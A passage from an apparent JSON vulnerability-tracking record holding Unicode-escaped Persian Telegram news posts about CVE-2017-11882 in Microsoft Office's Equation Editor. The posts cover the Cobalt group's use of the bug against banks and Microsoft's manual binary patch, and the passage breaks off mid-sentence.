\u0646\u0641\u0648\u0630 Cobalt \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0645\u0627\u0647 \u062c\u0627\u0631\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0648\u06cc\u0698\u06af\u06cc  Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0634\u0641 \u0634\u062f\u060c \u0648 \u062f\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0631\u0648\u0632 \u0633\u0647\u200c\u0634\u0646\u0628\u0647\u200c\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0631\u0641\u0639 \u0634\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0624\u0644\u0641\u0647\u200c\u0627\u06cc \u06a9\u0634\u0641 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648\u0632 \u06f9 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u0635\u0644\u0627\u062d \u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0646 \u062f\u0631 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0645\u0624\u0644\u0641\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u062a\u0633\u0647\u06cc\u0644 \u0627\u06cc\u062c\u0627\u062f \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0631\u06cc\u0627\u0636\u06cc \u0648 \u0639\u0644\u0645\u06cc\u060c Equation Editor \u062f\u0631 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f7\u060c \u0628\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0646\u0645\u0627\u06cc\u0634 \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0633\u0627\u0632\u06af\u0627\u0631\u06cc \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u060c \u0627\u0628\u0632\u0627\u0631 \u0642\u062f\u06cc\u0645\u06cc \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u062d\u0628\u0648\u0628 \u0622\u0641\u06cc\u0633 \u0627\u0633\u062a.\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15 \n\n\u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 ReversingLabs \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0636\u0628\u0637 \u06cc\u06a9 \u0633\u0646\u062f RTF \u0628\u0627 \u0637\u0631\u0627\u062d\u06cc \u062e\u0627\u0635 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u062f \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647\u060c \u0627\u062e\u06cc\u0631\u0627\u064b \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646  Cobalt \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\n\u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u0628\u0627 \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0645\u0627\u0633 \u0628\u0631\u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0627\u0648\u0644 \u0631\u0627 \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 MSHTA.exe \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u06a9\u062f \u0627\u062c\u0631\u0627\u0634\u062f\u0647 \u0628\u0647 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u062f\u0648\u0645 \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u06a9\u0647 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0646\u0647\u0627\u06cc\u06cc \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u0631\u0627 \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0627\u0628\u0632\u0627\u0631 \u0645\u062e\u0631\u0628 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647\u060c \u062f\u0631\u0628 \u067e\u0634\u062a\u06cc Cobalt Strike \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0622\u0644\u0648\u062f\u0647 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0635\u0631\u0641 \u0646\u0638\u0631 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u06a9\u0647  \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u062e\u0648\u062f \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u0646\u0634\u062f\u0647\u200c\u06cc EQNEDT\u06f3\u06f2.EXE\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u0641\u06cc\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062d\u062a\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0632\u0648\u062f\u06cc \u067e\u0633 \u0627\u0632 \u0639\u0645\u0648\u0645\u06cc \u0634\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062c\u0627\u06cc \u0647\u06cc\u0686 \u062a\u0639\u062c\u0628\u06cc \u0646\u06cc\u0633\u062a \u06a9\u0647 Cobalt \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u062f\u060c \u0645\u062e\u0635\u0648\u0635\u0627\u064b \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 \u062f\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u06af\u0631\u0648\u0647 Cobalt \u06af\u0631\u0648\u0647\u06cc \u0628\u0627 \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0645\u0627\u0644\u06cc\u060c \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627\u0646\u06a9\u200c\u0647\u0627\u060c \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0628\u0627\u062f\u0644\u0627\u062a \u0645\u0627\u0644\u06cc\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u06cc\u0645\u0647\u060c \u0635\u0646\u062f\u0648\u0642\u200c\u0647\u0627\u06cc \u0633\u0631\u0645\u0627\u06cc\u0647\u200c\u06af\u0630\u0627\u0631\u06cc\u060c \u0648 \u0633\u0627\u06cc\u0631 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0645\u0627\u0644\u06cc \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u0632 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u062f\u0631 \u067e\u06cc\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u0648 \u06cc\u0627 \u0627\u0632 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0641\u0634\u0631\u062f\u0647\u200c\u0634\u062f\u0647 \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc\u060c \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f0\u06f1\u06f9\u06f9 \u06a9\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u06cc \u0634\u0645\u0627\u0644\u06cc \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u06cc \u062a\u0627\u0645\u06cc\u0646 (\u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0622\u0644\u0648\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u0646\u0648\u0646\u06cc \u062f\u0631 \u062d\u06cc\u0646 \u062a\u0648\u0633\u0639\u0647 \u0627\u0633\u062a) \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0642\u0637 \u0631\u0648\u06cc \u0627\u0631\u0648\u067e\u0627\u06cc \u0634\u0631\u0642\u06cc \u0648 \u0622\u0633\u06cc\u0627\u06cc \u0645\u0631\u06a9\u0632\u06cc \u0648 \u062c\u0646\u0648\u0628\u200c\u0634\u0631\u0642\u06cc \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u060c \u0627\u0645\u0627 \u0627\u06a9\u0646\u0648\u0646 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u06af\u0632\u0627\u0631\u0634\u06cc \u06a9\u0647 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0628\u0647 \u062c\u0627\u06cc \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0628\u0627\u0646\u06a9\u060c \u062e\u0648\u062f \u0628\u0627\u0646\u06a9\u200c\u0647\u0627 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f8\u06f7\u06f5\u06f9 \u06a9\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062f\u0631 \u0686\u0627\u0631\u0686\u0648\u0628\u0650 \u062f\u0627\u062a\u200c\u0646\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a \u0648 \u062f\u0631 \u0645\u0627\u0647 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-26T07:01:56.718499Z"}, {"uuid": "19f59bf1-c878-45e5-94d8-3f54383dad7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6530", "content": "\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a! \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7\u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc ACROS \u0627\u0638\u0647\u0627\u0631 \u062f\u0627\u0634\u062a\u0646\u062f: \u00ab\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062f\u0631 \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u0646\u062f.\u00bb\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0639\u0646\u0648\u0627\u0646 \u00abMicrosoft Patch Tuesday\u00bb \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f4 \u0646\u0648\u0627\u0645\u0628\u0631 \u0648\u0635\u0644\u0647 \u0634\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a Embedi \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06a9\u0647 \u0627\u0632 \u062a\u0627\u0631\u06cc\u062e \u06f9 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0627\u0646\u062f\u0647 \u0628\u0648\u062f\u060c \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u06af\u0631\u0648\u0647 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062a\u0627\u0631\u06cc\u062e \u062a\u062f\u0648\u06cc\u0646 \u062c\u062f\u06cc\u062f \u06f2\u06f0\u06f1\u06f7\u066b\u06f8\u066b\u06f1\u06f4 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0645\u0634\u0627\u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0627\u0633\u062a.\n\u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u0644\u0627\u0632\u0645 \u0631\u0627 \u0631\u0648\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0627\u062f \u0648 \u0633\u067e\u0633 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0622\u0646\u200c\u0631\u0627 \u062f\u0648\u0628\u0627\u0631\u0647 \u0645\u06cc\u200c\u0633\u0627\u062e\u062a\u060c \u0645\u0645\u06a9\u0646 \u0646\u0628\u0648\u062f \u06a9\u0647 \u06a9\u062f \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u0628\u0644\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f. \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062c\u0627\u0645 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a\u06cc \u0631\u0648\u06cc \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0642\u0627\u0628\u0644 